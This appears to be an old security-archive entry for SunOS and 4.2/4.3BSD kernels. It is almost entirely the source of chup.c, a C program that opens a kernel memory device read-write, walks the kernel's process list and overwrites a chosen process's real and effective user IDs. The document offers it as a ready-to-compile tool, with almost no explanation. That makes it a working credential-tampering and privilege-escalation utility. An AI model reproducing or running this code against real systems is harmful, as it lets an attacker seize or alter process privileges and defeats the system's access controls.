COMMAND

    kernel

SYSTEMS AFFECTED

    SunOS
    Should work on any 4.2/4.3BSD based kernel

PROBLEM

---------------------------------------------------------------------------
/*
 * chup.c - change uid of a running process.
 * Should work on any 4.2/4.3BSD based kernel.
 * Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93.

 Ported to SunOS by x0d, me thinks.
 */

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/param.h>
#define KERNEL
#include <sys/file.h>
#undef KERNEL
#include <nlist.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/ucred.h>
/* #include <sys/processflags.h> /**/

#ifndef offsetof
#define offsetof(t,m) (int)((&((t *)0L)->m))
#endif

#define DEVKMEM "/home/new-kmem"

struct  nlist   names[] = {
    { "_allproc", 0, 0, 0, 0},
    { (char *)NULL, 0, 0, 0, 0 }
};

static  int     kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;

void    fatal(status, msg)
int     status;
char    *msg;
{
    perror(msg);
    exit(status);
}

static  int     lock_on() {
    return 0;
}

static  int     lock_off() {
    return 0;
}

int     kopen() {
    return (kfd = open(DEVKMEM, O_RDWR));
}

void    kread(buf, pos, n)
char    *buf;
off_t   pos;
int     n;
{
    if (!n) return;
    if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd);
    if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");
    if (read(kfd, buf, n) != n) fatal(-1, "kread");
}

int     kwrite(buf, pos, size)
char    *buf;
u_long  pos, size;
{
    if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek");
    if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd);
    if (write(kfd, buf, size) == -1) fatal(-1, "kwrite");
    return 0;
}

int     change_proc() {
    register int    i;
    int     np;
    struct proc    p,*next;
    struct ucred ucr;

    if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");
    if (kopen() == -1) fatal(-1, DEVKMEM);
    if (lock_on() == -1) return -1;
	if(names[0].n_value ==0) fatal(-1, "no allproc");
    kill(pid, SIGSTOP);
    kread((char *)&next, names[0].n_value, sizeof(struct proc *));
    /* walk the linked list */
    for (i = 0; next; i++) {
        kread((char *)&p, (char *)next, sizeof(p));
        next = p.p_nxt;
        if (p.p_pid == pid) {
            if(!p.p_cred) fatal(-1, "no credentials with this process!");
            kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));
            printf("%d %d (uid %d, suid %d) uid %d euid %d\n",
                   i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid);
            if (uid != -1) {
              ucr.cr_ruid = uid;
              kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),
                   (char *)p.p_cred + offsetof(struct ucred, cr_ruid),
                sizeof(ucr.cr_ruid));
            }
            if(euid != -1) {
               ucr.cr_uid = euid;
               kwrite((char *)&ucr + offsetof(struct ucred, cr_uid),
                  (char *)p.p_cred + offsetof(struct ucred, cr_uid),
                  sizeof(ucr.cr_uid));
            }
            printf("set to %d %d\n", uid, euid);
            break;
        }
    }
    kill(pid, SIGCONT);
    if (!next) (void) fprintf(stderr, "process %d not found\n", pid);
    /* we're not going through that again :)
    else {
        kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));
        kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));
        if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr));
        (void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid,
            (pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid);
    }
    */
    lock_off();
}

void    printusage(name)
char    *name;
{
    (void) fprintf(stderr, "usage:\n%s <pid> [uid [euid]]\n", name); }

int     do_args(argc, argv)
int     argc;
char    *argv[];
{
    if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1;
    if (argc == 1) {
        printusage(argv[0]);
        return -1;
    }
    if (kill(pid = atoi(argv[1]), 0) == -1) {
        perror(argv[0]);
        return -1;
    }
    if (argc > 2) {
        uid = atoi(argv[2]);
        if (argc > 3) euid = atoi(argv[3]);
    }
    return 0;
}

main(argc, argv)
int     argc;
char    *argv[];
{
    if (do_args(argc, argv)) exit(1);
    return change_proc();
}